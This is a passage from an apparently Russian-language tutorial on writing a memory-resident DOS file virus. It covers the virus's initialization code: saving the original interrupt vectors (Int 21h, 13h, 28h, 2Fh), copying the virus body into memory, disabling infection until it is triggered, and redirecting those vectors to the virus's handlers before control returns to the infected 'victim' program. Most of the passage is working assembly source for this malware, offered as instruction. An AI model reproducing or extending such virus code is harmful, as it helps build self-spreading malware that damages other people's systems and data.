Устанавливаем вектора прерываний на вирусные обработчики

Копируем вирусный код в память

Получаем вектора прерываний

Итак, мы нашли блок памяти, в который часть инициализации будет копировать вирусный код. Но прежде чем инсталлировать вирус в память, необходимо узнать адреса системных обработчиков прерываний. Ведь вирус будет вызывать эти обработчики перед (или после) выполнением собственных действий по обработке того или иного прерывания. Если исходные обработчики не будут получать управление, вычислительная система придет в аварийное состояние.

Поэтому:

;_________________________________________________ mov es,di ;Получаем векто- ;ра прерываний cli mov di,084h ;Int 21h. .. mov bx,es:[di] mov old_21h,bx mov bx,es:[di+2] mov old_21h_2,bx mov di,0bch ;Int 2fh. .. mov bx,es:[di] mov old_2fh,bx mov bx,es:[di+2] mov old_2fh_2,bx mov di,04ch ;Int 13h. .. mov bx,es:[di] mov old_13h,bx mov bx,es:[di+2] mov old_13h_2,bx mov di,0a0h ;Int 28h. .. mov bx,es:[di] mov old_28h,bx mov bx,es:[di+2] mov old_28h_2,bx sti

Как видим, для определения адресов обработчиков вирус обращается непосредственно к таблице векторов прерываний.Секция инициализации будет перехватывать прерывания: Int 21h, Int 13h, Int 28h и Int 2fh. Несколько позже мы разберемся, почему потребовалось перехватить именно их и приведем тексты вирусных обработчиков этих прерываний.

Теперь настало время переписать в память код вируса и подготовить его к работе в резидентном режиме:

mov word ptr vir,9090h ;Подготавливаем mov tg_infect,0 ;вирус к рези- ;дентной работе mov es,ax ;И копируем его xor di,di ;в память... mov cx,vir_len prg_copy: mov bl,byte ptr vir[di] mov byte ptr es:[di],bl inc di loop prg_copy

В самом начале нужно сбросить в ноль переменную "tg_infect", чтобы вирус не занимался заражением файлов, пока его об этом не попросят. Далее, в первые два байта кода вируса, который мы собираемся записывать в память, следует записать две команды NOP, или код 9090h ( см п. 2.2 ).

Теперь тело вируса просто копируется в блок памяти, сегментный адрес которого задан в регистре AX.

Все подготовительные действия выполнены, и нам только осталось заменить адреса системных обработчиков прерываний Int 21h, Int 13h, Int 28h и Int 2fh на адреса вирусных обработчиков,после чего необходимо передать управление зараженной программе. Это мы сейчас и сделаем:

xor bx,bx ;Устанавливаем ;вектора преры- mov es,bx ;ваний на вирус- cli ;ные обработчики mov di,084h mov word ptr es:[di],to_new_21h mov es:[di+2],ax ; Int 21h mov di,0bch mov word ptr es:[di],to_new_2fh mov es:[di+2],ax ; Int 2fh mov di,04ch mov word ptr es:[di],to_new_13h mov es:[di+2],ax ; Int 13h mov di,0a0h mov word ptr es:[di],0 mov es:[di+2],ax ; Int 28h sti jmp fresh_bytes ;Установка ;завершена. ..

Модификация векторов прерываний в особых комментариях не нуждается. А команда "jmp fresh_bytes" передает управление на программный код,выполняющий восстановление исходных трех байт программы - жертвы.

Таким образом, мы разработали секцию инициализации нашего вируса. И поэтому настало время перейти к созданию резидентной секции. Все оставшиеся пункты этой главы будут посвящены именно разработке резидентной части.